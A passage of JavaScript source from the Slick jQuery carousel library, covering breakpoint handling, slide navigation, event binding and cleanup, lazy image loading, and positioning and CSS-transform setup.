_.activeBreakpoint = targetBreakpoint;
if (_.breakpointSettings[targetBreakpoint] === 'unslick') {
_.unslick(targetBreakpoint);
} else {
_.options = $.extend({}, _.originalSettings,
_.breakpointSettings[
targetBreakpoint]);
if (initial === true) {
_.currentSlide = _.options.initialSlide;
}
_.refresh(initial);
}
triggerBreakpoint = targetBreakpoint;
}
} else {
if (_.activeBreakpoint !== null) {
_.activeBreakpoint = null;
_.options = _.originalSettings;
if (initial === true) {
_.currentSlide = _.options.initialSlide;
}
_.refresh(initial);
triggerBreakpoint = targetBreakpoint;
}
}
// only trigger breakpoints during an actual break. not on initialize.
if( !initial && triggerBreakpoint !== false ) {
_.$slider.trigger('breakpoint', [_, triggerBreakpoint]);
}
}
};
Slick.prototype.changeSlide = function(event, dontAnimate) {
var _ = this,
$target = $(event.currentTarget),
indexOffset, slideOffset, unevenOffset;
// If target is a link, prevent default action.
if($target.is('a')) {
event.preventDefault();
}
// If target is not the <li> element (ie: a child), find the <li>.
if(!$target.is('li')) {
$target = $target.closest('li');
}
unevenOffset = (_.slideCount % _.options.slidesToScroll !== 0);
indexOffset = unevenOffset ? 0 : (_.slideCount - _.currentSlide) % _.options.slidesToScroll;
switch (event.data.message) {
case 'previous':
slideOffset = indexOffset === 0 ? _.options.slidesToScroll : _.options.slidesToShow - indexOffset;
if (_.slideCount > _.options.slidesToShow) {
_.slideHandler(_.currentSlide - slideOffset, false, dontAnimate);
}
break;
case 'next':
slideOffset = indexOffset === 0 ? _.options.slidesToScroll : indexOffset;
if (_.slideCount > _.options.slidesToShow) {
_.slideHandler(_.currentSlide + slideOffset, false, dontAnimate);
}
break;
case 'index':
var index = event.data.index === 0 ? 0 :
event.data.index || $target.index() * _.options.slidesToScroll;
_.slideHandler(_.checkNavigable(index), false, dontAnimate);
$target.children().trigger('focus');
break;
default:
return;
}
};
Slick.prototype.checkNavigable = function(index) {
var _ = this,
navigables, prevNavigable;
navigables = _.getNavigableIndexes();
prevNavigable = 0;
if (index > navigables[navigables.length - 1]) {
index = navigables[navigables.length - 1];
} else {
for (var n in navigables) {
if (index < navigables[n]) {
index = prevNavigable;
break;
}
prevNavigable = navigables[n];
}
}
return index;
};
Slick.prototype.cleanUpEvents = function() {
var _ = this;
if (_.options.dots && _.$dots !== null) {
$('li', _.$dots)
.off('click.slick', _.changeSlide)
.off('mouseenter.slick', $.proxy(_.interrupt, _, true))
.off('mouseleave.slick', $.proxy(_.interrupt, _, false));
}
_.$slider.off('focus.slick blur.slick');
if (_.options.arrows === true && _.slideCount > _.options.slidesToShow) {
_.$prevArrow && _.$prevArrow.off('click.slick', _.changeSlide);
_.$nextArrow && _.$nextArrow.off('click.slick', _.changeSlide);
}
_.$list.off('touchstart.slick mousedown.slick', _.swipeHandler);
_.$list.off('touchmove.slick mousemove.slick', _.swipeHandler);
_.$list.off('touchend.slick mouseup.slick', _.swipeHandler);
_.$list.off('touchcancel.slick mouseleave.slick', _.swipeHandler);
_.$list.off('click.slick', _.clickHandler);
$(document).off(_.visibilityChange, _.visibility);
_.cleanUpSlideEvents();
if (_.options.accessibility === true) {
_.$list.off('keydown.slick', _.keyHandler);
}
if (_.options.focusOnSelect === true) {
$(_.$slideTrack).children().off('click.slick', _.selectHandler);
}
$(window).off('orientationchange.slick.slick-' + _.instanceUid, _.orientationChange);
$(window).off('resize.slick.slick-' + _.instanceUid, _.resize);
$('[draggable!=true]', _.$slideTrack).off('dragstart', _.preventDefault);
$(window).off('load.slick.slick-' + _.instanceUid, _.setPosition);
$(document).off('ready.slick.slick-' + _.instanceUid, _.setPosition);
};
Slick.prototype.cleanUpSlideEvents = function() {
var _ = this;
_.$list.off('mouseenter.slick', $.proxy(_.interrupt, _, true));
_.$list.off('mouseleave.slick', $.proxy(_.interrupt, _, false));
};
Slick.prototype.cleanUpRows = function() {
var _ = this, originalSlides;
if(_.options.rows > 1) {
originalSlides = _.$slides.children().children();
originalSlides.removeAttr('style');
_.$slider.empty().append(originalSlides);
}
};
Slick.prototype.clickHandler = function(event) {
var _ = this;
if (_.shouldClick === false) {
event.stopImmediatePropagation();
event.stopPropagation();
event.preventDefault();
}
};
Slick.prototype.destroy = function(refresh) {
var _ = this;
_.autoPlayClear();
_.touchObject = {};
_.cleanUpEvents();
$('.slick-cloned', _.$slider).detach();
if (_.$dots) {
_.$dots.remove();
}
if ( _.$prevArrow && _.$prevArrow.length ) {
_.$prevArrow
.removeClass('slick-disabled slick-arrow slick-hidden')
.removeAttr('aria-hidden aria-disabled tabindex')
.css('display','');
if ( _.htmlExpr.test( _.options.prevArrow )) {
_.$prevArrow.remove();
}
}
if ( _.$nextArrow && _.$nextArrow.length ) {
_.$nextArrow
.removeClass('slick-disabled slick-arrow slick-hidden')
.removeAttr('aria-hidden aria-disabled tabindex')
.css('display','');
if ( _.htmlExpr.test( _.options.nextArrow )) {
_.$nextArrow.remove();
}
}
if (_.$slides) {
_.$slides
.removeClass('slick-slide slick-active slick-center slick-visible slick-current')
.removeAttr('aria-hidden')
.removeAttr('data-slick-index')
.each(function(){
$(this).attr('style', $(this).data('originalStyling'));
});
_.$slideTrack.children(this.options.slide).detach();
_.$slideTrack.detach();
_.$list.detach();
_.$slider.append(_.$slides);
}
_.cleanUpRows();
_.$slider.removeClass('slick-slider');
_.$slider.removeClass('slick-initialized');
_.$slider.removeClass('slick-dotted');
_.unslicked = true;
if(!refresh) {
_.$slider.trigger('destroy', [_]);
}
};
Slick.prototype.disableTransition = function(slide) {
var _ = this,
transition = {};
transition[_.transitionType] = '';
if (_.options.fade === false) {
_.$slideTrack.css(transition);
} else {
_.$slides.eq(slide).css(transition);
}
};
Slick.prototype.fadeSlide = function(slideIndex, callback) {
var _ = this;
if (_.cssTransitions === false) {
_.$slides.eq(slideIndex).css({
zIndex: _.options.zIndex
});
_.$slides.eq(slideIndex).animate({
opacity: 1
}, _.options.speed, _.options.easing, callback);
} else {
_.applyTransition(slideIndex);
_.$slides.eq(slideIndex).css({
opacity: 1,
zIndex: _.options.zIndex
});
if (callback) {
setTimeout(function() {
_.disableTransition(slideIndex);
callback.call();
}, _.options.speed);
}
}
};
Slick.prototype.fadeSlideOut = function(slideIndex) {
var _ = this;
if (_.cssTransitions === false) {
_.$slides.eq(slideIndex).animate({
opacity: 0,
zIndex: _.options.zIndex - 2
}, _.options.speed, _.options.easing);
} else {
_.applyTransition(slideIndex);
_.$slides.eq(slideIndex).css({
opacity: 0,
zIndex: _.options.zIndex - 2
});
}
};
Slick.prototype.filterSlides = Slick.prototype.slickFilter = function(filter) {
var _ = this;
if (filter !== null) {
_.$slidesCache = _.$slides;
_.unload();
_.$slideTrack.children(this.options.slide).detach();
_.$slidesCache.filter(filter).appendTo(_.$slideTrack);
_.reinit();
}
};
Slick.prototype.focusHandler = function() {
var _ = this;
_.$slider
.off('focus.slick blur.slick')
.on('focus.slick blur.slick',
'*:not(.slick-arrow)', function(event) {
event.stopImmediatePropagation();
var $sf = $(this);
setTimeout(function() {
if( _.options.pauseOnFocus ) {
_.focussed = $sf.is(':focus');
_.autoPlay();
}
}, 0);
});
};
Slick.prototype.getCurrent = Slick.prototype.slickCurrentSlide = function() {
var _ = this;
return _.currentSlide;
};
Slick.prototype.getDotCount = function() {
var _ = this;
var breakPoint = 0;
var counter = 0;
var pagerQty = 0;
if (_.options.infinite === true) {
while (breakPoint < _.slideCount) {
++pagerQty;
breakPoint = counter + _.options.slidesToScroll;
counter += _.options.slidesToScroll <= _.options.slidesToShow ? _.options.slidesToScroll : _.options.slidesToShow;
}
} else if (_.options.centerMode === true) {
pagerQty = _.slideCount;
} else if(!_.options.asNavFor) {
pagerQty = 1 + Math.ceil((_.slideCount - _.options.slidesToShow) / _.options.slidesToScroll);
}else {
while (breakPoint < _.slideCount) {
++pagerQty;
breakPoint = counter + _.options.slidesToScroll;
counter += _.options.slidesToScroll <= _.options.slidesToShow ? _.options.slidesToScroll : _.options.slidesToShow;
}
}
return pagerQty - 1;
};
Slick.prototype.getLeft = function(slideIndex) {
var _ = this,
targetLeft,
verticalHeight,
verticalOffset = 0,
targetSlide;
_.slideOffset = 0;
verticalHeight = _.$slides.first().outerHeight(true);
if (_.options.infinite === true) {
if (_.slideCount > _.options.slidesToShow) {
_.slideOffset = (_.slideWidth * _.options.slidesToShow) * -1;
verticalOffset = (verticalHeight * _.options.slidesToShow) * -1;
}
if (_.slideCount % _.options.slidesToScroll !== 0) {
if (slideIndex + _.options.slidesToScroll > _.slideCount && _.slideCount > _.options.slidesToShow) {
if (slideIndex > _.slideCount) {
_.slideOffset = ((_.options.slidesToShow - (slideIndex - _.slideCount)) * _.slideWidth) * -1;
verticalOffset = ((_.options.slidesToShow - (slideIndex - _.slideCount)) * verticalHeight) * -1;
} else {
_.slideOffset = ((_.slideCount % _.options.slidesToScroll) * _.slideWidth) * -1;
verticalOffset = ((_.slideCount % _.options.slidesToScroll) * verticalHeight) * -1;
}
}
}
} else {
if (slideIndex + _.options.slidesToShow > _.slideCount) {
_.slideOffset = ((slideIndex + _.options.slidesToShow) - _.slideCount) * _.slideWidth;
verticalOffset = ((slideIndex + _.options.slidesToShow) - _.slideCount) * verticalHeight;
}
}
if (_.slideCount <= _.options.slidesToShow) {
_.slideOffset = 0;
verticalOffset = 0;
}
if (_.options.centerMode === true && _.options.infinite === true) {
_.slideOffset += _.slideWidth * Math.floor(_.options.slidesToShow / 2) - _.slideWidth;
} else if (_.options.centerMode === true) {
_.slideOffset = 0;
_.slideOffset += _.slideWidth * Math.floor(_.options.slidesToShow / 2);
}
if (_.options.vertical === false) {
targetLeft = ((slideIndex * _.slideWidth) * -1) + _.slideOffset;
} else {
targetLeft = ((slideIndex * verticalHeight) * -1) + verticalOffset;
}
if (_.options.variableWidth === true) {
if (_.slideCount <= _.options.slidesToShow || _.options.infinite === false) {
targetSlide = _.$slideTrack.children('.slick-slide').eq(slideIndex);
} else {
targetSlide = _.$slideTrack.children('.slick-slide').eq(slideIndex + _.options.slidesToShow);
}
if (_.options.rtl === true) {
if (targetSlide[0]) {
targetLeft = (_.$slideTrack.width() - targetSlide[0].offsetLeft - targetSlide.width()) * -1;
} else {
targetLeft = 0;
}
} else {
targetLeft = targetSlide[0] ? targetSlide[0].offsetLeft * -1 : 0;
}
if (_.options.centerMode === true) {
if (_.slideCount <= _.options.slidesToShow || _.options.infinite === false) {
targetSlide = _.$slideTrack.children('.slick-slide').eq(slideIndex);
} else {
targetSlide = _.$slideTrack.children('.slick-slide').eq(slideIndex + _.options.slidesToShow + 1);
}
if (_.options.rtl === true) {
if (targetSlide[0]) {
targetLeft = (_.$slideTrack.width() - targetSlide[0].offsetLeft - targetSlide.width()) * -1;
} else {
targetLeft = 0;
}
} else {
targetLeft = targetSlide[0] ? targetSlide[0].offsetLeft * -1 : 0;
}
targetLeft += (_.$list.width() - targetSlide.outerWidth()) / 2;
}
}
return targetLeft;
};
Slick.prototype.getOption = Slick.prototype.slickGetOption = function(option) {
var _ = this;
return _.options[option];
};
Slick.prototype.getNavigableIndexes = function() {
var _ = this,
breakPoint = 0,
counter = 0,
indexes = [],
max;
if (_.options.infinite === false) {
max = _.slideCount;
} else {
breakPoint = _.options.slidesToScroll * -1;
counter = _.options.slidesToScroll * -1;
max = _.slideCount * 2;
}
while (breakPoint < max) {
indexes.push(breakPoint);
breakPoint = counter + _.options.slidesToScroll;
counter += _.options.slidesToScroll <= _.options.slidesToShow ? _.options.slidesToScroll : _.options.slidesToShow;
}
return indexes;
};
Slick.prototype.getSlick = function() {
return this;
};
Slick.prototype.getSlideCount = function() {
var _ = this,
slidesTraversed, swipedSlide, centerOffset;
centerOffset = _.options.centerMode === true ? _.slideWidth * Math.floor(_.options.slidesToShow / 2) : 0;
if (_.options.swipeToSlide === true) {
_.$slideTrack.find('.slick-slide').each(function(index, slide) {
if (slide.offsetLeft - centerOffset + ($(slide).outerWidth() / 2) > (_.swipeLeft * -1)) {
swipedSlide = slide;
return false;
}
});
slidesTraversed = Math.abs($(swipedSlide).attr('data-slick-index') - _.currentSlide) || 1;
return slidesTraversed;
} else {
return _.options.slidesToScroll;
}
};
Slick.prototype.goTo = Slick.prototype.slickGoTo = function(slide, dontAnimate) {
var _ = this;
_.changeSlide({
data: {
message: 'index',
index: parseInt(slide)
}
}, dontAnimate);
};
Slick.prototype.init = function(creation) {
var _ = this;
if (!$(_.$slider).hasClass('slick-initialized')) {
$(_.$slider).addClass('slick-initialized');
_.buildRows();
_.buildOut();
_.setProps();
_.startLoad();
_.loadSlider();
_.initializeEvents();
_.updateArrows();
_.updateDots();
_.checkResponsive(true);
_.focusHandler();
}
if (creation) {
_.$slider.trigger('init', [_]);
}
if (_.options.accessibility === true) {
_.initADA();
}
if ( _.options.autoplay ) {
_.paused = false;
_.autoPlay();
}
};
Slick.prototype.initADA = function() {
var _ = this;
_.$slides.add(_.$slideTrack.find('.slick-cloned')).attr({
'aria-hidden': 'true',
'tabindex': '-1'
}).find('a, input, button, select').attr({
'tabindex': '-1'
});
_.$slideTrack.attr('role', 'listbox');
_.$slides.not(_.$slideTrack.find('.slick-cloned')).each(function(i) {
$(this).attr({
'role': 'option',
'aria-describedby': 'slick-slide' + _.instanceUid + i + ''
});
});
if (_.$dots !== null) {
_.$dots.attr('role', 'tablist').find('li').each(function(i) {
$(this).attr({
'role': 'presentation',
'aria-selected': 'false',
'aria-controls': 'navigation' + _.instanceUid + i + '',
'id': 'slick-slide' + _.instanceUid + i + ''
});
})
.first().attr('aria-selected', 'true').end()
.find('button').attr('role', 'button').end()
.closest('div').attr('role', 'toolbar');
}
_.activateADA();
};
Slick.prototype.initArrowEvents = function() {
var _ = this;
if (_.options.arrows === true && _.slideCount > _.options.slidesToShow) {
_.$prevArrow
.off('click.slick')
.on('click.slick', {
message: 'previous'
}, _.changeSlide);
_.$nextArrow
.off('click.slick')
.on('click.slick', {
message: 'next'
}, _.changeSlide);
}
};
Slick.prototype.initDotEvents = function() {
var _ = this;
if (_.options.dots === true && _.slideCount > _.options.slidesToShow) {
$('li', _.$dots).on('click.slick', {
message: 'index'
}, _.changeSlide);
}
if ( _.options.dots === true && _.options.pauseOnDotsHover === true ) {
$('li', _.$dots)
.on('mouseenter.slick', $.proxy(_.interrupt, _, true))
.on('mouseleave.slick', $.proxy(_.interrupt, _, false));
}
};
Slick.prototype.initSlideEvents = function() {
var _ = this;
if ( _.options.pauseOnHover ) {
_.$list.on('mouseenter.slick', $.proxy(_.interrupt, _, true));
_.$list.on('mouseleave.slick', $.proxy(_.interrupt, _, false));
}
};
Slick.prototype.initializeEvents = function() {
var _ = this;
_.initArrowEvents();
_.initDotEvents();
_.initSlideEvents();
_.$list.on('touchstart.slick mousedown.slick', {
action: 'start'
}, _.swipeHandler);
_.$list.on('touchmove.slick mousemove.slick', {
action: 'move'
}, _.swipeHandler);
_.$list.on('touchend.slick mouseup.slick', {
action: 'end'
}, _.swipeHandler);
_.$list.on('touchcancel.slick mouseleave.slick', {
action: 'end'
}, _.swipeHandler);
_.$list.on('click.slick', _.clickHandler);
$(document).on(_.visibilityChange, $.proxy(_.visibility, _));
if (_.options.accessibility === true) {
_.$list.on('keydown.slick', _.keyHandler);
}
if (_.options.focusOnSelect === true) {
$(_.$slideTrack).children().on('click.slick', _.selectHandler);
}
$(window).on('orientationchange.slick.slick-' + _.instanceUid, $.proxy(_.orientationChange, _));
$(window).on('resize.slick.slick-' + _.instanceUid, $.proxy(_.resize, _));
$('[draggable!=true]', _.$slideTrack).on('dragstart', _.preventDefault);
$(window).on('load.slick.slick-' + _.instanceUid, _.setPosition);
$(document).on('ready.slick.slick-' + _.instanceUid, _.setPosition);
};
Slick.prototype.initUI = function() {
var _ = this;
if (_.options.arrows === true && _.slideCount > _.options.slidesToShow) {
_.$prevArrow.show();
_.$nextArrow.show();
}
if (_.options.dots === true && _.slideCount > _.options.slidesToShow) {
_.$dots.show();
}
};
Slick.prototype.keyHandler = function(event) {
var _ = this;
//Dont slide if the cursor is inside the form fields and arrow keys are pressed
if(!event.target.tagName.match('TEXTAREA|INPUT|SELECT')) {
if (event.keyCode === 37 && _.options.accessibility === true) {
_.changeSlide({
data: {
message: _.options.rtl === true ? 'next' : 'previous'
}
});
} else if (event.keyCode === 39 && _.options.accessibility === true) {
_.changeSlide({
data: {
message: _.options.rtl === true ? 'previous' : 'next'
}
});
}
}
};
Slick.prototype.lazyLoad = function() {
var _ = this,
loadRange, cloneRange, rangeStart, rangeEnd;
function loadImages(imagesScope) {
$('img[data-lazy]', imagesScope).each(function() {
var image = $(this),
imageSource = $(this).attr('data-lazy'),
imageToLoad = document.createElement('img');
imageToLoad.onload = function() {
image
.animate({ opacity: 0 }, 100, function() {
image
.attr('src', imageSource)
.animate({ opacity: 1 }, 200, function() {
image
.removeAttr('data-lazy')
.removeClass('slick-loading');
});
_.$slider.trigger('lazyLoaded', [_, image, imageSource]);
});
};
imageToLoad.onerror = function() {
image
.removeAttr( 'data-lazy' )
.removeClass( 'slick-loading' )
.addClass( 'slick-lazyload-error' );
_.$slider.trigger('lazyLoadError', [ _, image, imageSource ]);
};
imageToLoad.src = imageSource;
});
}
if (_.options.centerMode === true) {
if (_.options.infinite === true) {
rangeStart = _.currentSlide + (_.options.slidesToShow / 2 + 1);
rangeEnd = rangeStart + _.options.slidesToShow + 2;
} else {
rangeStart = Math.max(0, _.currentSlide - (_.options.slidesToShow / 2 + 1));
rangeEnd = 2 + (_.options.slidesToShow / 2 + 1) + _.currentSlide;
}
} else {
rangeStart = _.options.infinite ? _.options.slidesToShow + _.currentSlide : _.currentSlide;
rangeEnd = Math.ceil(rangeStart + _.options.slidesToShow);
if (_.options.fade === true) {
if (rangeStart > 0) rangeStart--;
if (rangeEnd <= _.slideCount) rangeEnd++;
}
}
loadRange = _.$slider.find('.slick-slide').slice(rangeStart, rangeEnd);
loadImages(loadRange);
if (_.slideCount <= _.options.slidesToShow) {
cloneRange = _.$slider.find('.slick-slide');
loadImages(cloneRange);
} else
if (_.currentSlide >= _.slideCount - _.options.slidesToShow) {
cloneRange = _.$slider.find('.slick-cloned').slice(0, _.options.slidesToShow);
loadImages(cloneRange);
} else if (_.currentSlide === 0) {
cloneRange = _.$slider.find('.slick-cloned').slice(_.options.slidesToShow * -1);
loadImages(cloneRange);
}
};
Slick.prototype.loadSlider = function() {
var _ = this;
_.setPosition();
_.$slideTrack.css({
opacity: 1
});
_.$slider.removeClass('slick-loading');
_.initUI();
if (_.options.lazyLoad === 'progressive') {
_.progressiveLazyLoad();
}
};
Slick.prototype.next = Slick.prototype.slickNext = function() {
var _ = this;
_.changeSlide({
data: {
message: 'next'
}
});
};
Slick.prototype.orientationChange = function() {
var _ = this;
_.checkResponsive();
_.setPosition();
};
Slick.prototype.pause = Slick.prototype.slickPause = function() {
var _ = this;
_.autoPlayClear();
_.paused = true;
};
Slick.prototype.play = Slick.prototype.slickPlay = function() {
var _ = this;
_.autoPlay();
_.options.autoplay = true;
_.paused = false;
_.focussed = false;
_.interrupted = false;
};
Slick.prototype.postSlide = function(index) {
var _ = this;
if( !_.unslicked ) {
_.$slider.trigger('afterChange', [_, index]);
_.animating = false;
_.setPosition();
_.swipeLeft = null;
if ( _.options.autoplay ) {
_.autoPlay();
}
if (_.options.accessibility === true) {
_.initADA();
}
}
};
Slick.prototype.prev = Slick.prototype.slickPrev = function() {
var _ = this;
_.changeSlide({
data: {
message: 'previous'
}
});
};
Slick.prototype.preventDefault = function(event) {
event.preventDefault();
};
Slick.prototype.progressiveLazyLoad = function( tryCount ) {
tryCount = tryCount || 1;
var _ = this,
$imgsToLoad = $( 'img[data-lazy]', _.$slider ),
image,
imageSource,
imageToLoad;
if ( $imgsToLoad.length ) {
image = $imgsToLoad.first();
imageSource = image.attr('data-lazy');
imageToLoad = document.createElement('img');
imageToLoad.onload = function() {
image
.attr( 'src', imageSource )
.removeAttr('data-lazy')
.removeClass('slick-loading');
if ( _.options.adaptiveHeight === true ) {
_.setPosition();
}
_.$slider.trigger('lazyLoaded', [ _, image, imageSource ]);
_.progressiveLazyLoad();
};
imageToLoad.onerror = function() {
if ( tryCount < 3 ) {
/**
* try to load the image 3 times,
* leave a slight delay so we don't get
* servers blocking the request.
*/
setTimeout( function() {
_.progressiveLazyLoad( tryCount + 1 );
}, 500 );
} else {
image
.removeAttr( 'data-lazy' )
.removeClass( 'slick-loading' )
.addClass( 'slick-lazyload-error' );
_.$slider.trigger('lazyLoadError', [ _, image, imageSource ]);
_.progressiveLazyLoad();
}
};
imageToLoad.src = imageSource;
} else {
_.$slider.trigger('allImagesLoaded', [ _ ]);
}
};
Slick.prototype.refresh = function( initializing ) {
var _ = this, currentSlide, lastVisibleIndex;
lastVisibleIndex = _.slideCount - _.options.slidesToShow;
// in non-infinite sliders, we don't want to go past the
// last visible index.
if( !_.options.infinite && ( _.currentSlide > lastVisibleIndex )) {
_.currentSlide = lastVisibleIndex;
}
// if less slides than to show, go to start.
if ( _.slideCount <= _.options.slidesToShow ) {
_.currentSlide = 0;
}
currentSlide = _.currentSlide;
_.destroy(true);
$.extend(_, _.initials, { currentSlide: currentSlide });
_.init();
if( !initializing ) {
_.changeSlide({
data: {
message: 'index',
index: currentSlide
}
}, false);
}
};
Slick.prototype.registerBreakpoints = function() {
var _ = this, breakpoint, currentBreakpoint, l,
responsiveSettings = _.options.responsive || null;
if ( $.type(responsiveSettings) === 'array' && responsiveSettings.length ) {
_.respondTo = _.options.respondTo || 'window';
for ( breakpoint in responsiveSettings ) {
l = _.breakpoints.length-1;
currentBreakpoint = responsiveSettings[breakpoint].breakpoint;
if (responsiveSettings.hasOwnProperty(breakpoint)) {
// loop through the breakpoints and cut out any existing
// ones with the same breakpoint number, we don't want dupes.
while( l >= 0 ) {
if( _.breakpoints[l] && _.breakpoints[l] === currentBreakpoint ) {
_.breakpoints.splice(l,1);
}
l--;
}
_.breakpoints.push(currentBreakpoint);
_.breakpointSettings[currentBreakpoint] = responsiveSettings[breakpoint].settings;
}
}
_.breakpoints.sort(function(a, b) {
return ( _.options.mobileFirst ) ? a-b : b-a;
});
}
};
Slick.prototype.reinit = function() {
var _ = this;
_.$slides =
_.$slideTrack
.children(_.options.slide)
.addClass('slick-slide');
_.slideCount = _.$slides.length;
if (_.currentSlide >= _.slideCount && _.currentSlide !== 0) {
_.currentSlide = _.currentSlide - _.options.slidesToScroll;
}
if (_.slideCount <= _.options.slidesToShow) {
_.currentSlide = 0;
}
_.registerBreakpoints();
_.setProps();
_.setupInfinite();
_.buildArrows();
_.updateArrows();
_.initArrowEvents();
_.buildDots();
_.updateDots();
_.initDotEvents();
_.cleanUpSlideEvents();
_.initSlideEvents();
_.checkResponsive(false, true);
if (_.options.focusOnSelect === true) {
$(_.$slideTrack).children().on('click.slick', _.selectHandler);
}
_.setSlideClasses(typeof _.currentSlide === 'number' ? _.currentSlide : 0);
_.setPosition();
_.focusHandler();
_.paused = !_.options.autoplay;
_.autoPlay();
_.$slider.trigger('reInit', [_]);
};
Slick.prototype.resize = function() {
var _ = this;
if ($(window).width() !== _.windowWidth) {
clearTimeout(_.windowDelay);
_.windowDelay = window.setTimeout(function() {
_.windowWidth = $(window).width();
_.checkResponsive();
if( !_.unslicked ) { _.setPosition(); }
}, 50);
}
};
Slick.prototype.removeSlide = Slick.prototype.slickRemove = function(index, removeBefore, removeAll) {
var _ = this;
if (typeof(index) === 'boolean') {
removeBefore = index;
index = removeBefore === true ? 0 : _.slideCount - 1;
} else {
index = removeBefore === true ? --index : index;
}
if (_.slideCount < 1 || index < 0 || index > _.slideCount - 1) {
return false;
}
_.unload();
if (removeAll === true) {
_.$slideTrack.children().remove();
} else {
_.$slideTrack.children(this.options.slide).eq(index).remove();
}
_.$slides = _.$slideTrack.children(this.options.slide);
_.$slideTrack.children(this.options.slide).detach();
_.$slideTrack.append(_.$slides);
_.$slidesCache = _.$slides;
_.reinit();
};
Slick.prototype.setCSS = function(position) {
var _ = this,
positionProps = {},
x, y;
if (_.options.rtl === true) {
position = -position;
}
x = _.positionProp == 'left' ? Math.ceil(position) + 'px' : '0px';
y = _.positionProp == 'top' ? Math.ceil(position) + 'px' : '0px';
positionProps[_.positionProp] = position;
if (_.transformsEnabled === false) {
_.$slideTrack.css(positionProps);
} else {
positionProps = {};
if (_.cssTransitions === false) {
positionProps[_.animType] = 'translate(' + x + ', ' + y + ')';
_.$slideTrack.css(positionProps);
} else {
positionProps[_.animType] = 'translate3d(' + x + ', ' + y + ', 0px)';
_.$slideTrack.css(positionProps);
}
}
};
Slick.prototype.setDimensions = function() {
var _ = this;
if (_.options.vertical === false) {
if (_.options.centerMode === true) {
_.$list.css({
padding: ('0px ' + _.options.centerPadding)
});
}
} else {
_.$list.height(_.$slides.first().outerHeight(true) * _.options.slidesToShow);
if (_.options.centerMode === true) {
_.$list.css({
padding: (_.options.centerPadding + ' 0px')
});
}
}
_.listWidth = _.$list.width();
_.listHeight = _.$list.height();
if (_.options.vertical === false && _.options.variableWidth === false) {
// SM codehint: we changed the next line to fix a rounding issue which cut off the right border of the last element to slide
//_.slideWidth = Math.ceil(_.listWidth / _.options.slidesToShow);
_.slideWidth = Math.floor(_.listWidth / _.options.slidesToShow);
_.$slideTrack.width(Math.ceil((_.slideWidth * _.$slideTrack.children('.slick-slide').length)));
} else if (_.options.variableWidth === true) {
_.$slideTrack.width(5000 * _.slideCount);
} else {
_.slideWidth = Math.ceil(_.listWidth);
_.$slideTrack.height(Math.ceil((_.$slides.first().outerHeight(true) * _.$slideTrack.children('.slick-slide').length)));
}
var offset = _.$slides.first().outerWidth(true) - _.$slides.first().width();
if (_.options.variableWidth === false) _.$slideTrack.children('.slick-slide').width(_.slideWidth - offset);
};
Slick.prototype.setFade = function() {
var _ = this,
targetLeft;
_.$slides.each(function(index, element) {
targetLeft = (_.slideWidth * index) * -1;
if (_.options.rtl === true) {
$(element).css({
position: 'relative',
right: targetLeft,
top: 0,
zIndex: _.options.zIndex - 2,
opacity: 0
});
} else {
$(element).css({
position: 'relative',
left: targetLeft,
top: 0,
zIndex: _.options.zIndex - 2,
opacity: 0
});
}
});
_.$slides.eq(_.currentSlide).css({
zIndex: _.options.zIndex - 1,
opacity: 1
});
};
Slick.prototype.setHeight = function() {
var _ = this;
if (_.options.slidesToShow === 1 && _.options.adaptiveHeight === true && _.options.vertical === false) {
var targetHeight = _.$slides.eq(_.currentSlide).outerHeight(true);
_.$list.css('height', targetHeight);
}
};
Slick.prototype.setOption =
Slick.prototype.slickSetOption = function() {
/**
* accepts arguments in format of:
*
* - for changing a single option's value:
* .slick("setOption", option, value, refresh )
*
* - for changing a set of responsive options:
* .slick("setOption", 'responsive', [{}, ...], refresh )
*
* - for updating multiple values at once (not responsive)
* .slick("setOption", { 'option': value, ... }, refresh )
*/
var _ = this, l, item, option, value, refresh = false, type;
if( $.type( arguments[0] ) === 'object' ) {
option = arguments[0];
refresh = arguments[1];
type = 'multiple';
} else if ( $.type( arguments[0] ) === 'string' ) {
option = arguments[0];
value = arguments[1];
refresh = arguments[2];
if ( arguments[0] === 'responsive' && $.type( arguments[1] ) === 'array' ) {
type = 'responsive';
} else if ( typeof arguments[1] !== 'undefined' ) {
type = 'single';
}
}
if ( type === 'single' ) {
_.options[option] = value;
} else if ( type === 'multiple' ) {
$.each( option , function( opt, val ) {
_.options[opt] = val;
});
} else if ( type === 'responsive' ) {
for ( item in value ) {
if( $.type( _.options.responsive ) !== 'array' ) {
_.options.responsive = [ value[item] ];
} else {
l = _.options.responsive.length-1;
// loop through the responsive object and splice out duplicates.
while( l >= 0 ) {
if( _.options.responsive[l].breakpoint === value[item].breakpoint ) {
_.options.responsive.splice(l,1);
}
l--;
}
_.options.responsive.push( value[item] );
}
}
}
if ( refresh ) {
_.unload();
_.reinit();
}
};
Slick.prototype.setPosition = function() {
var _ = this;
_.setDimensions();
_.setHeight();
if (_.options.fade === false) {
_.setCSS(_.getLeft(_.currentSlide));
} else {
_.setFade();
}
_.$slider.trigger('setPosition', [_]);
};
Slick.prototype.setProps = function() {
var _ = this,
bodyStyle = document.body.style;
_.positionProp = _.options.vertical === true ? 'top' : 'left';
if (_.positionProp === 'top') {
_.$slider.addClass('slick-vertical');
} else {
_.$slider.removeClass('slick-vertical');
}
if (bodyStyle.WebkitTransition !== undefined ||
bodyStyle.MozTransition !== undefined ||
bodyStyle.msTransition !== undefined) {
if (_.options.useCSS === true) {
_.cssTransitions = true;
}
}
if ( _.options.fade ) {
if ( typeof _.options.zIndex === 'number' ) {
if( _.options.zIndex < 3 ) {
_.options.zIndex = 3;
}
} else {
_.options.zIndex = _.defaults.zIndex;
}
}
if (bodyStyle.OTransform !== undefined) {
_.animType = 'OTransform';
_.transformType = '-o-transform';
_.transitionType = 'OTransition';
if (bodyStyle.perspectiveProperty === undefined && bodyStyle.webkitPerspective === undefined) _.animType = false;
}
if (bodyStyle.MozTransform !== undefined) {
_.animType = 'MozTransform';
_.transformType = '-moz-transform';
_.transitionType = 'MozTransition';
if (bodyStyle.perspectiveProperty === undefined && bodyStyle.MozPerspective === undefined) _.animType = false;
}
if (bodyStyle.webkitTransform !== undefined) {
_.animType = 'webkitTransform';
_.transformType = '-webkit-transform';
_.transitionType = 'webkitTransition';
if (bodyStyle.perspectiveProperty === undefined && bodyStyle.webkitPerspective === undefined) _.animType = false;
}
if (bodyStyle.msTransform !== undefined) {
_.animType = 'msTransform';
_.transformType = '-ms-transform';
_.transitionType = 'msTransition';
if (bodyStyle.msTransform === undefined) _.animType = false;
}
if (bodyStyle.transform !== undefined && _.animType !== false) {
_.animType = 'transform';
_.transformType = 'transform';
_.transitionType = 'transition';
}
_.transformsEnabled = _.options.useTransform && (_.animType !== null && _.animType !== false);
};
